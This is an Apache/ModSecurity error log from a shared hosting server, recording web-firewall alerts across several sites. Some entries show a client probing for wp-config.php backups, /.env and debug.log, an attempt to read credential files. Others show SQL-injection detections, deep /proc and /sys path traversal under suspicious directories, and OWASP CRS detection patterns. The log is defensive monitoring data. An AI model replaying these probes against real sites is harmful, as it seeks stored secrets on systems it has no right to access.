[Fri Jul 17 09:28:32.791005 2026] [security2:error] [pid 2036488:tid 2036488] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/sn/posts/uterine-cancer"] [unique_id "almoaLEKozcCJ-ReuK0I4AAAAAg"]
[Fri Jul 17 09:28:35.282632 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:49516] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:35.305654 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:37.343284 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:38.681691 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:39.589281 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almob-jME1mgqYZ5O94r4gAAAAE"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:28:39.589327 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almob-jME1mgqYZ5O94r4gAAAAE"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:28:40.875736 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:42.331715 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 57.141.18.48:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory135/subsystem/devices/memory143/subsystem/devices/memory104/subsystem/drivers_probe
[Fri Jul 17 09:28:42.690726 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:45888] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:47.672782 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:47.855124 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:48.089808 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:48.502326 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:48.503128 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup0/device/subsystem/devices/device:1b/power/"] [unique_id "almoeFCBpfuYyhJ140vYkwAAAB4"]
[Fri Jul 17 09:28:48.503162 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup0/device/subsystem/devices/device:1b/power/"] [unique_id "almoeFCBpfuYyhJ140vYkwAAAB4"]
[Fri Jul 17 09:28:48.593297 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:48.686699 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:48.860146 2026] [security2:error] [pid 1993572:tid 1993572] [client 142.111.129.68:0] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'n&1' [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "66"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: n&1 found within REQUEST_COOKIES:wordpress_wp_travel_engine_session: d518b79e4791bc0a67e94e4331f78cf3||1784262526||1784262166"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/wp-login.php"] [unique_id "almoeIl9vhFBGA6D8l-AUwAAAAw"], referer: https://2s-travels.com/wp-login.php
[Fri Jul 17 09:28:48.861049 2026] [security2:error] [pid 1993572:tid 1993572] [client 142.111.129.68:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/wp-login.php"] [unique_id "almoeIl9vhFBGA6D8l-AUwAAAAw"], referer: https://2s-travels.com/wp-login.php
[Fri Jul 17 09:28:48.869235 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:49.051114 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:49.233197 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:49.389338 2026] [security2:error] [pid 1993572:tid 1993572] [client 142.111.129.68:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/wp-login.php"] [unique_id "almoeIl9vhFBGA6D8l-AUwAAAAw"], referer: https://2s-travels.com/wp-login.php
[Fri Jul 17 09:28:49.415513 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:49.599348 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:49.760889 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:49.968532 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:50.153351 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:50.341949 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/acpi/drivers/pvpanic/bind
[Fri Jul 17 09:28:50.463595 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:50.814934 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup12/subsystem/wakeup6/device/eject
[Fri Jul 17 09:28:51.055691 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:51.557249 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:51.649652 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:51.836726 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:52.244274 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:52.385833 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/platform/serial8250/subsystem/drivers/usb-conn-gpio/bind
[Fri Jul 17 09:28:54.055785 2026] [security2:error] [pid 2029579:tid 2029579] [client 85.11.167.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/visionsolutionsh-global": Permission denied [hostname "visionsolutionshospital.com"] [uri "/wp-admin/index.php"] [unique_id "almofCRF0UOO1RzB5_80SgAAAA4"], referer: https://visionsolutionshospital.com/wp-login.php
[Fri Jul 17 09:28:54.055820 2026] [security2:error] [pid 2029579:tid 2029579] [client 85.11.167.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/visionsolutionsh-ip": Permission denied [hostname "visionsolutionshospital.com"] [uri "/wp-admin/index.php"] [unique_id "almofCRF0UOO1RzB5_80SgAAAA4"], referer: https://visionsolutionshospital.com/wp-login.php
[Fri Jul 17 09:28:57.434139 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:49456] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:59.680178 2026] [security2:error] [pid 2047046:tid 2047046] [client 57.141.18.114:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory117/node0/memory102/subsystem/devices/memory34/"] [unique_id "almog0_0b3nWp8txtSDDIgAAAA0"]
[Fri Jul 17 09:28:59.680221 2026] [security2:error] [pid 2047046:tid 2047046] [client 57.141.18.114:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory117/node0/memory102/subsystem/devices/memory34/"] [unique_id "almog0_0b3nWp8txtSDDIgAAAA0"]
[Fri Jul 17 09:29:02.266422 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:57964] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:03.607984 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:58038] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:04.048821 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:29:05.672431 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:58220] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:07.166431 2026] [security2:error] [pid 1993671:tid 1993671] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "manaharasupercenter.lk"] [uri "/wp-cron.php"] [unique_id "almoig5GPQ6hs4VrfMpINAAAAAY"]
[Fri Jul 17 09:29:07.166459 2026] [security2:error] [pid 1993671:tid 1993671] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "manaharasupercenter.lk"] [uri "/wp-cron.php"] [unique_id "almoig5GPQ6hs4VrfMpINAAAAAY"]
[Fri Jul 17 09:29:09.467855 2026] [security2:error] [pid 2030774:tid 2030774] [client 175.157.88.74:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/img/log3.png"] [unique_id "almojRHlOGcokz2QIwTZawAAAAM"], referer: https://www.epid.gov.lk/investigation-forms/investigation-forms
[Fri Jul 17 09:29:09.467902 2026] [security2:error] [pid 2030774:tid 2030774] [client 175.157.88.74:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/img/log3.png"] [unique_id "almojRHlOGcokz2QIwTZawAAAAM"], referer: https://www.epid.gov.lk/investigation-forms/investigation-forms
[Fri Jul 17 09:29:10.357143 2026] [security2:error] [pid 2036488:tid 2036488] [client 104.28.251.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "monarchdss.com"] [uri "/wp-config.php.old"] [unique_id "almojrEKozcCJ-ReuK0I9QAAAAg"]
[Fri Jul 17 09:29:10.357310 2026] [security2:error] [pid 2036488:tid 2036488] [client 104.28.251.191:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "monarchdss.com"] [uri "/wp-config.php.old"] [unique_id "almojrEKozcCJ-ReuK0I9QAAAAg"]
[Fri Jul 17 09:29:10.357558 2026] [security2:error] [pid 2036488:tid 2036488] [client 104.28.251.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monarchdss.com"] [uri "/wp-config.php.old"] [unique_id "almojrEKozcCJ-ReuK0I9QAAAAg"]
[Fri Jul 17 09:29:10.359550 2026] [security2:error] [pid 2039911:tid 2039911] [client 104.28.251.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "monarchdss.com"] [uri "/wp-config.php.bak"] [unique_id "almojpBVIrrUwtEhdafXEgAAAAU"]
[Fri Jul 17 09:29:10.367482 2026] [security2:error] [pid 2039911:tid 2039911] [client 104.28.251.191:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "monarchdss.com"] [uri "/wp-config.php.bak"] [unique_id "almojpBVIrrUwtEhdafXEgAAAAU"]
[Fri Jul 17 09:29:10.367773 2026] [security2:error] [pid 2039911:tid 2039911] [client 104.28.251.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monarchdss.com"] [uri "/wp-config.php.bak"] [unique_id "almojpBVIrrUwtEhdafXEgAAAAU"]
[Fri Jul 17 09:29:10.441221 2026] [authz_core:error] [pid 2018741:tid 2018741] [client 104.28.251.191:0] AH01630: client denied by server configuration: /home/monarchdss/public_html/wp-config.php
[Fri Jul 17 09:29:10.442656 2026] [security2:error] [pid 2013829:tid 2013829] [client 104.28.251.191:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "monarchdss.com"] [uri "/wp-config.php~"] [unique_id "almojg7FYe46zHK_jL3V5wAAABk"]
[Fri Jul 17 09:29:10.442817 2026] [security2:error] [pid 2013829:tid 2013829] [client 104.28.251.191:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "monarchdss.com"] [uri "/wp-config.php~"] [unique_id "almojg7FYe46zHK_jL3V5wAAABk"]
[Fri Jul 17 09:29:10.443111 2026] [security2:error] [pid 2013829:tid 2013829] [client 104.28.251.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monarchdss.com"] [uri "/wp-config.php~"] [unique_id "almojg7FYe46zHK_jL3V5wAAABk"]
[Fri Jul 17 09:29:10.461183 2026] [security2:error] [pid 2030774:tid 2030774] [client 104.28.251.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "monarchdss.com"] [uri "/.env"] [unique_id "almojhHlOGcokz2QIwTZbQAAAAM"]
[Fri Jul 17 09:29:10.461423 2026] [security2:error] [pid 2030774:tid 2030774] [client 104.28.251.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monarchdss.com"] [uri "/.env"] [unique_id "almojhHlOGcokz2QIwTZbQAAAAM"]
[Fri Jul 17 09:29:10.505807 2026] [security2:error] [pid 2036488:tid 2036488] [client 104.28.251.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "monarchdss.com"] [uri "/index.php"] [unique_id "almojrEKozcCJ-ReuK0I9QAAAAg"]
[Fri Jul 17 09:29:10.506475 2026] [security2:error] [pid 2029866:tid 2029866] [client 57.141.18.88:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory82/node0/memory87/node0/memory83/node0/memory73/"] [unique_id "almojl1_86A5R6msWNfaeAAAABI"]
[Fri Jul 17 09:29:10.506637 2026] [security2:error] [pid 2029866:tid 2029866] [client 57.141.18.88:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory82/node0/memory87/node0/memory83/node0/memory73/"] [unique_id "almojl1_86A5R6msWNfaeAAAABI"]
[Fri Jul 17 09:29:10.668617 2026] [security2:error] [pid 2039911:tid 2039911] [client 104.28.251.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "monarchdss.com"] [uri "/index.php"] [unique_id "almojpBVIrrUwtEhdafXEgAAAAU"]
[Fri Jul 17 09:29:10.739325 2026] [authz_core:error] [pid 2034024:tid 2034024] [client 104.28.251.191:0] AH01630: client denied by server configuration: /home/monarchdss/public_html/wp-content/debug.log
[Fri Jul 17 09:29:10.899832 2026] [security2:error] [pid 2047046:tid 2047046] [client 104.28.251.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "monarchdss.com"] [uri "/.wp-config.php.swp"] [unique_id "almojk_0b3nWp8txtSDDKAAAAA0"]
[Fri Jul 17 09:29:10.900322 2026] [security2:error] [pid 2047046:tid 2047046] [client 104.28.251.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monarchdss.com"] [uri "/.wp-config.php.swp"] [unique_id "almojk_0b3nWp8txtSDDKAAAAA0"]
[Fri Jul 17 09:29:11.215735 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:58944] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:29:11.287374 2026] [security2:error] [pid 2013829:tid 2013829] [client 104.28.251.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "monarchdss.com"] [uri "/index.php"] [unique_id "almojg7FYe46zHK_jL3V5wAAABk"]
